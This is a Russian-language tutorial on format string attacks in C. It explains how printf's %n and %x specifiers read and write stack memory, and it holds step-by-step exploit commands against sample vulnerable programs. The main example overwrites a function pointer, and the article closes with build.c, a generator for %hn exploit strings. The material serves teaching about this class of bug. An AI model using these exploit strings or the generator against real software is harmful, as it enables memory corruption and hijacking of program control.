Атаки Format String

В чем состоит суть проблемы?
Большинство дыр в безопасности являются следствием или ошибок конфигурации или лени. Ошибки класса format string в очередной раз подтверждают справедливость этого правила.

Достаточно часто в программах возникает необходимость ввода-вывода куда-либо строковых данных. В отличие от атак переполнения буфера для format string не важно, куда именно выводятся строковые данные - стандартный поток вывода, файл, промежуточный буфер. Пример:

printf("%s", str);

Однако программист может решить сэкомомить время или 6 байт и написать так:

printf(str);

Думая о экономии места, программист отрывает потенциальную дыру в безопасности. Возможно, он будет удовлетворен,тем, что printf передается только один аргумент, который он просто хотел вывести в стандартный поток вывода. Однако, при разборе строки формата передаваемой фактическим аргументом в ней, в любом случае, будет производится поиск спецификаторов формата (%d, %g...). Если какой-либо из них будет обнаружен, то в стеке производится соответсвующий поиск аргумента для этого спецификатора.

Предполагается, что читатель знаком с основными специкаторами формата функций семейства printf (на этом мы останавливаться не будем). Но, как правило, немногие знают он них все. В данной статье мы будем иметь дело с малоизвестными аспектами работы спецификаторов формата. Кроме того мы рассмотрим, каким образом получить информацию, которая требуется для настройки exploit'а под конкретную систему. И наконец, все это будет продемонстрировано на конкретных примерах, чтобы внести ясность и развеять, некую "таинственность", сопровождающую этот класс exploit'ов.

Углубление в тему

Начнем с того, что сказано в большинстве книг по программированию на С : многие функций ввода-вывода позволяют осуществлять форматированный ввод-вывод данных, что означает, что нам необходимо передавать не только сами данные, но и формат их ввода-вывода для того, чтобы соответствующие функции знали как интепретировать входные(выходные) данные. Простой пример:

/* display.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); } >>gcc display.c -o display >>./display int : 64 97 char : @ a

Первый printf() выводит значение переменных i (int) и a (char), для этого используются соответсвенно спецификаторы %d и %с. С другой стороны следующий printf() рассматривает переменную типа int как соответвующее значение кода ASCII(64).

Ничего нового, и все это остается справедливым для функций, прототип которых схож с функциями семейства printf():

Исчерпывающая информация об остальных спецификаторах формата(%g, %h, использование символа ".", для определения ширины поля вывода) доводится до читателя далеко не всегда. Как правило, никогда не затрагивается спецификатор %n. Вот, что говорит насчет него страница man:

Количество символов в строке формата до спецификатора %n сохраняется в переменной (int), адрес которой идет следующим аргументом. Никакие аргументы не конвертируются.

Самое важное свойство %n, которое нас будет интересовать: этот спецификатор позволяет записывать данные по адресу, на который указывает второй аргумент, причем даже если printf() используется лишь для вывода данных на терминал!

Перед тем, как продолжить, отметим, что этот вид форматирования кроме того используется в функциях scanf(), syslog(), fprintf(), sprintf(), snprintf(), vprintf(), vsprintf(), vsnprintf(), setproctitle() и syslog() и т.п.

Теперь настало время изучить поведение строки формата на примерах небольших программ:

/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: } П

ервый вызов printf() выведет строку "0123456789", которая содержит 10 символов. Следующий спецификатор формата запишет это значение в переменную n:

>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10

Немного изменим нашу программу - printf в строке 7 заменим на следующее:

7: printf("buf=%s%n\n", buf, &n);

Выполним новую программу - в переменной n теперь оказывается значение 14(10 символов из buf и 4 символа добавляет "buf=" в строке формата).

Таким образом, мы уб

едились, спецификатор %n подсчииывает все символы в строке формата, стоящие до него. Кроме того, как покажет пример ниже(printf2), он подcчитывает даже больше: /* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }

Использование функции snprintf() предотвращает от ошибок переполнения буфера. Поэтому значение переменной n, вроде бы, должно быть 10:

>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100

Странно? На самом деле спецификатор %n подсчитывает количество символов, которые предполагается вывести. Данный пример показывает, что при копировании в буфер(размер 10) реальное количество скопированных символов при подсчете спецификатором %n не учитывается.
Что происходит в действительности? Сначала спецификатор %n подсчитывает количество символов и записывает его по адресу, указанному во втором аргументе, и только потом строка усекается при копировании в буфер:

/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }

программа printf3 содержит некоторые отличия по сравнению с printf2:

На выходе мы получаем следующее:

>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)

В первых двух строках вывода нет ничего интересного. А вот в последняя строка иллюстрирует еще одну особенность поведения функций семейства printf():

Этот пример не столь точен, но тем не менее отражает основную суть процесса. Для получения более подробной информации рекомендуется обратиться к исходникам GlibC, в особенности к описаниям функции vfprintf() в директории ${GLIBC_HOME}/stdio-common directory.
В заключении этой части можно добавить, что аналогичный результат можно получить несколько другим путем. В предыдущих примерах использовался модификатор "." , задающий максимальную ширину поля вывода. Вместо него можно использовать 0n, где n - также максимальная ширина поля вывода, а 0 говорит о том, что им следует заменить неиспользуемые пробелы.
Теперь вы знаете почти все о форматированном вводе-выводе, а точнее об особенностях спецификатора %n.
Продолжим наши исследования.


Стек и printf(). Как добраться до данных, находящихся в стеке
Следующую программу мы будет использовать для исследования того, как работает printf() со стеком:

/* stack.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: } Здесь входные данные просто копируются в символьный буфер. Пока нас не интересует возможность перезаписи каких-либо важных данных в стеке (атаки класса format string требуют несколько более точной подготовки exploit строки, по сравнению, например, с переполнением буфера). >>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674) Работает так, как мы этого и ожидали;) Перед тем как мы пойдем дальше, давайте посмотрим, что происходит со стеком при вызове snprintf() в строке 8. нижние адреса памяти верхние адреса памяти адрес возврата <-+ +-> размер buf[] +-> cодержимое tmp[] | | | <---- [ $ebp ] [ $esp ] [ ] [ ] [ ] [\0x00\0x03\0x02\0x01] [ ] | | | | +->адрес строки формата +-> cодержимое buf[] | +-> адрес buf[] верхушка стека основание стека <br>На схеме отображено соcтояние стека непосредствеено перед вызовом функции snprintf() (это не совсем точно, тем нем менее отражает основную идею). Нас не будет интересовать регистр $esp. Аргументы функции snprintf() записанные в стек перед ее вызовом следующие: Далее cоответственно идут массив tmp[](4 байта), массив buf[](64 байта) и переменная i, как локальные данные функции main() Argv[1] играет двоякую роль: это и строка формата и данные. Пока в строке формата отсутствуют специкаторы все работает нормально.
Что изменится, когда аргумент argv[1] будет содержать спецификаторы форматирования? В обычных условиях, snprintf() будет интерпретировать их именно как спецификаторы форматирования - причины, по которой она могла бы вести себя как-то по-другому, просто нет. И здесь, возникает вопрос, откуда будут браться данные для этих спефикаторов? Фактически snprintf() будет брать их из стека! Например, добавим спецификатор %x: >>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674) Первая строка "123 " скопирована в буфер. Спецификатор %x дает указание snprintf() интерпретирвать первое встретившееся значение как шестнадцатеричное число. Как видно из схемы, этим числом будет ничто иное, как значение переменной tmp[] - строка "x01\x02\x03\x00". Оно будет выдано на экран как шестнадцатеричное 0x00030201, в соответсвие с представленимем чисел в x86 (little endian). >>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674) Cледующий спецификатор %x заставляет подняться выше по стеку. Он указывает sprintf(),что следующие 4 байта в стеке(после tmp[]) в стеке необходимо рассматривать как соответствующие фактические данные для %х - этими данными будут первые 4 байта буфера buffer[64]. Однако буфер содержит строку "123", которая выглядит в памяти как 0x20333231(0x20=пробел , 0x31='1' и т.д.). Таким образом, каждый спецификатр %x в sprintf() будет считывать из стека соответствующие значения (4 байта именно потому, что для хранения беззнаковых целых (unsigned int) в архитектуре x86 отводится 4 байта). Эта массив buf[] далее будет играть двоякую роль: Итак мы можем читать из стека данные пока не доберемся до сегмента кода(для формата ELF) или области разделяемой памяти(для формата СOFF). >>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654) Рассмотренный метод позволяет получать важную информацию из стека, такую как адрес возврата из функции, локальными данными которой является наш буфер. Построение строки формата специальным образом позволяет получить доступ к данным в стеке, которые расположены выше указанного буфера.

Кроме того для удобства можно дополнительно использовать модификатор m$(где m - натуральное число). Он позволяет пропускать при считывании данных из стека m 4-х байтных данных, тем самым избавлясь от данных, которые нас не интересуют. /* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); } Модификатор m$ позволяет пропустить указанное количество слов (каждое 4 байта) и вывести именно те данные, которые нас интересуют (аналогичной функциональностью обладает gdb): >>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8) Символ "\" перед "$" необходим для того, чтобы shell не интерпретировал $ как спецсимвол(его особое значение нам необходимо только с строке формата). Первые три вызова вытаскивают из стека данные, хранящиеся в буфере(buf[12]).Буфер заполнен нулями. Следующий вызов(%4\$x) уже вытаскивает значение сохраненного в стеке $ebp. Далее %7\$x возвращает соответственно адрес возврата ($esp). Последние два результата показывают значения переменных argc и *argv(**argv - массив адресов входных параметров программы).

Приведенный пример показывает, что строка формата позволяет нам извлечь весьма важную информацию из стека. Более того, как было сказано в начале статьи, print() позволяет еще записывать данные. Это позволяет сделать вывод, что ошибки класса format string предоставляют прекрасную возможность для атак.

Двигаемся дальше.Давайте вернемся и рассмотрим стек программы: >>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [dцяї00000000000000000000000000000000000000000000000000000000000] (63) i = 500 (bffff664) В качестве параметров программы мы передаем следующие данные: Для того, чтобы определить адрес переменной i(на используемой мною системе это будет 0xbffff664), который она получит в адресном пространстве процесса, необходимо перезапустить нашу программу и соотвественно изменить адрес i в строке формата. Как можно заметить ее адрес изменился ;). Передаваемая строка формата при вызове sprintf() будет выглядеть следующим образом: snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, первые 4 байта буфера); Первые четыре байта(содержащие адрес i) после копирования будут расположены в начале буфера. Спецификатор %.496x позволит нам пропусить переменную tmp(она расположена в начале стека), и этому моменту мы подберемся в стеке уже к первому значению в буфере buf[], которым является адрес i, и спецификатор %n даст указание записать по этому адресу значение 500 (496 байт в .496 + 4 байта занятые в строке формата \x64\xf6\xff\xbf).

Хотя максимальная ширина поля ввода указана как 496, фактически будет записано только 60 байт(т.к. буфер имеет размер 64 байта, с учетом того, что 4 байта в строке формата занимает адрес i).
Значение 496 взято совершенно произвольно. Как мы видим, оно может быть как меньше, так и больше - спецификатор %n записывает по указанному адресу не фактическое количество скопированных байт, а то, которое указано в строке формата.
Можно пойти еще дальше. Для изменения значения переменной i нам надо было знать ее адрес ... но иногда он присутствует непосредственно в самой программе: /* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); } Эта программа демонстрирует, при определенных условиях мы можем управлять стеком так, как хотим(почти так, как хотим): >>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0

Как видно, в зависимости от передаваемого аргумента, мы можем менять значения как cpt1, так и cpt2. Спецификатор %n предполагает, что его второй аргумент - адрес, поэтому мы может контролировать значения переменных cpt1 и cpt2 только косвенно, т.е. изменить их значения, используя %3$n (cpt2) и %4$n (cpt1) нельзя. Отметим, что этот способ достаточно часто используются при работы с переменными.


Вариации на ту же тему
Приведенные выше примеры рассчитаны на использование egcs-2.91.66 и glibc-2.1.3-22. Поэтому при их воспроизведении на своих системах вы, скорее всего, не получите в точности те же результаты. В действительности, функции семейства printf() меняют свое поведение от одной версии glibc и компиляторов gcc к другой.
Следующая программа прояснит эти различия:

/* stuff.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }

Массивы aaa и bbb используются как разделители для удобства анализа содержимого стека. Когда нам встретим в памяти стека значение 424242, то это будет означать, что дальше расположен буфер


Запись в память

При программировании exploit'ов переполнения буфера, используется буфер для перезаписи адреса возврата из функций. Уязвимости format string значительно расширяют возможности маневра в этом плане: мы можем перезаписывать данные с стеке, хипе, bss(область неинициализированных данных в сегменте данных), .dtors и т.д. - необходимо лишь указать %n, куда и что записать, и она это сделает.

Учебная уязвимая программа

В случае format string можно по разному написать exploit для одной о той же уязвимой программы. P. Bouchareine в своей статье(Format string vulnerability) приводит пример перезаписи адреса возврата, мы, для разнообразия, рассмотрим перезапись указателя на функцию другой способ.

/* vuln.c */ #include #include #include int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s \n", argv[0]); exit(-1); }

Переменная ptrf определена как указатель на функцию. Мы постараемся изменить ее значение так, чтобы она указывала функцию выбранную нами. Сначала, мы должны найти значение смещения между началом буфера, куда будет скопирована строка формата, и текущей позицией в стеке при вызове snprintf():

>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"

Первый вызов дает нам то, что надо: от уязвимого буфера нас отделяют 3 слова (напомним, что в архитектуре x86 слово - 4 байта) Второй вызов(AAAA%3\$x) еще раз это подтверждает. Наша цель - изменить исходное значение указателя на функцию ptrf (0x8048634 - адрес функции helloWorld()) на значение 0x8048654 (адрес accessForbidden()). Т.е. по этому адресу необходимо записать 0x8048654 байт(десятичное - 134514260, что-то типа 128MB). Некоторые системы не позволяют использовать столько памяти, но та которую будем использовать мы позволяет;) Это займет около 20 секунд на двухпроцессорном Pentium 350 MHz:

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Фхяї0...000000000000000000000000000000000000000000000000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Что мы здесь сделали? В начале строки формата мы передаем адрес ptrf (0xbffff5d4). Следующий спецификатор (%.134514256x) читает первое слово из стека, причем ширина поля форматированного вывода имеет значение 134514256(поскольку 4 байта строке формата занимает адрес ptrf , ширина поля форматированного вывода имеет значение 134514260-4=134514256 байт) И, наконец, %n записывает подготовленное значение по указанному адресу (%3$n).

Проблемы с памятью: правило разделяй и властвуй

Как было сказано, возможность использовать буфер размером 128МB иногда отстутствует. Спецификатор %n рассматривает второй аргумент как integer, т.е. 4 байта. И можем изменить его поведение и сделать так, чтобы он записывал нужное значение в short int - это позволяет сделать спецификатор %hn. Итак, используя пример приведенный выше, мы можем заменить одну операцию записи значения 0x8048654 по адресу 0xbffff5d4 двумя операциями:

  • записать значение 0x8654 по адресу 0xbffff5d4
  • записать значение 0x0804 по адресу 0xbffff5d4+2= 0xbffff5d6</li>< /li>< /li>
  • В соответствие со способом хранения данных в памяти (x86 - little endian), вторая операция запишет старшую часть значения(0x0804). Здесь есть одна тонкость - поскольку спефикатор %n (или %hn) подсчитывает количество символов, записанных до него (соответсвенно второй спецификатор будет учитывать количество символов, стоящих до первого %n и после него до него самого), то значение второй части адреса, которое запишет второй %n, будет больше либо равно первому.

    Следовательно при построении адреса это необходимо учитывать: сначала мы должны записать меньшее значение части адреса, затем определить на сколько большее значение отличается от меньшего и учесть эту разность в модификаторе ширины форматированного поля ввода. В нашем случае, первый модификатор ширины форматированного поля вывода будет %.2052x(2052 = 0x0804), второй - %.32336x (32336 = 0x8654 - 0x0804). В итоге по указанному адресу будет записано нужное значение. Итак, проблема записи значения в адресное пространство стека с помощью %hn решена. Кроме того можно дополнительно использовать модификатор m$, чтобы сразу сдвинуть текущее положение в стеке на смещение, которое нас отделяет от уязвимого буфера. Тогда первая часть адреса будет находится по указанному в m$ смещению, а вторая по m+1$.

    И последнее замечание: поскольку в начале строки формата 8 байт занимают значения адреса, то из первого значения ширины поля форматированного вывода необходимо вычесть 8. Итак, окончательный вид строки формата: "[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val. min.]x%[offset+1]$hn"
    Программа приведенная ниже(build) строит строку формата, используя 3 входных аргумента :

  • адрес, который необходимо перезаписать;
  • значение, которым необходимо перезаписать этот адрес; смещение от текущего положения в стеке до буфера, где окажется строка формата;
  • /* build.c */ #include #include #include #include /** The 4 bytes where we have to write are placed that way : HH HH LL LL The variables ending with "*h" refer to the high part of the word (H) The variables ending with "*l" refer to the low part of the word (L) */ char* build(unsigned int addr, unsigned int value, unsigned int where) { unsigned int length = 128; //too lazy to evaluate the true length ... unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* detailing the value */ valh = (value >> 16) & 0xffff; //top vall = value & 0xffff; //bottom fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* buffer allocation */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* let's build */ if (valh &lt; vall) { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ valh-8, /* set the value for the first %hn */ where, /* the %hn for the high part */ vall-valh, /* set the value for the second %hn */ where+1 /* the %hn for the low part */ ); } else { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ vall-8, /* set the value for the first %hn */ where+1, /* the %hn for the high part */ valh-vall, /* set the value for the second %hn */ where /* the %hn for the low part */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc &lt; 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; } Продолжение статьи
    Hosted by uCoz